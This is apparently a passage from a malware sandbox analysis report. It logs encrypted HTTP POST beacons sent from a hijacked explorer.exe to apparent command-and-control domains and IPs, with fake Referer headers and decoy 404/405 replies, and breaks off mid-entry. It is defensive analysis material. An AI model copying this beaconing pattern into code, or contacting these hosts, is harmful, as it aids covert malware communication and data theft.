Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:39.199218035 CET	286	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ukacgtlptxyqmcdq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 335 Host: constractionscity1991.lat
Dec 19, 2024 11:00:39.199258089 CET	335	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be ad 1f 59 d5 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)Y!_5?[3}'YJrv+n!QF0r'so,UeSuKVpyy5?tW&ys=Q3?KiMKfkX ~V>JdaoDiEA:
Dec 19, 2024 11:00:40.565376997 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50014	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:40.698086977 CET	285	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://daxnrqammsrat.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 230 Host: restructurisationservice.ru
Dec 19, 2024 11:00:40.698121071 CET	230	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be fd 4e 39 a5 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)N9!\|#%4JRC@bEQ^E2+ZsI`PqHM%Fm{V$ryE@Ht\|5jyIp[(uC^?:y
Dec 19, 2024 11:00:42.052089930 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50015	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:42.186908960 CET	280	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dsjauwmdkccdd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 150 Host: connecticutproperty.ru
Dec 19, 2024 11:00:42.186943054 CET	150	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 80 22 50 96 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)"P)F(\|i6te.B*HZF!iGAX;[iG
Dec 19, 2024 11:00:43.521437883 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 10:00:43 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50016	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:47.776496887 CET	286	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tupclykpsytewcxu.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 217 Host: constractionscity1991.lat
Dec 19, 2024 11:00:47.776541948 CET	217	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 85 5a 38 89 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)Z8(pXdE};6L)FKB<-yg-,P0I3E0u@\|xrqF/I,Wv>eadl.kS?dI#
Dec 19, 2024 11:00:49.147445917 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50017	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:49.274692059 CET	285	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://livftrpgdgydc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 297 Host: restructurisationservice.ru
Dec 19, 2024 11:00:49.274730921 CET	297	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be ba 24 2a 92 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)$jNMo`q0xA[p&V)E%W/HG@]bR/vw?xt"b#fq@$xWjE^xk1+8^uoXcm+X{Q
Dec 19, 2024 11:00:50.646676064 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50018	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:50.773264885 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://drjnlhtrahircg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 192 Host: connecticutproperty.ru
Dec 19, 2024 11:00:50.773303032 CET	192	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be e5 4a 2c bf Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)J,r~;-XfjdZ9qYW6 &ik]r\|O:npdAq)A>"(.)bl^J:c
Dec 19, 2024 11:00:52.117582083 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 10:00:51 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50019	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:56.760693073 CET	282	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lhhcirujvotn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 160 Host: constractionscity1991.lat
Dec 19, 2024 11:00:56.760725975 CET	160	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 98 43 2f cc Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)C//iQFr!-]X_5 ^mDHirLp_ufb__!v
Dec 19, 2024 11:00:58.140840054 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50020	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:58.271836042 CET	287	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://unomwhjdoaagckk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 202 Host: restructurisationservice.ru
Dec 19, 2024 11:00:58.271836042 CET	202	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be eb 4a 72 a9 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)Jrkn@IBLY3LYl/ JZIe^IlPK[gSfGMe4H@`0k,f5Jtqn
Dec 19, 2024 11:00:59.638279915 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50021	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:59.771935940 CET	279	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://drmwwxjjhona.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 223 Host: connecticutproperty.ru
Dec 19, 2024 11:00:59.771965981 CET	223	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 81 30 49 ac Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)0I8h"_vBT=jb@p}W^qi#ZQr9>x2\|:AV(?a;\|mb}BjfIN9R:Gi
Dec 19, 2024 11:01:01.112617016 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 10:01:00 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50022	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:05.126802921 CET	282	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jqxnkwoysqpv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 245 Host: constractionscity1991.lat
Dec 19, 2024 11:01:05.126802921 CET	245	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 90 56 6f a2 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)VoaC'5mKqz,0pSBfe;0rp0O5EnL=bI+VTf[Ynph+UtYc@8*~I`+a+&z@
Dec 19, 2024 11:01:06.509078026 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:01:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 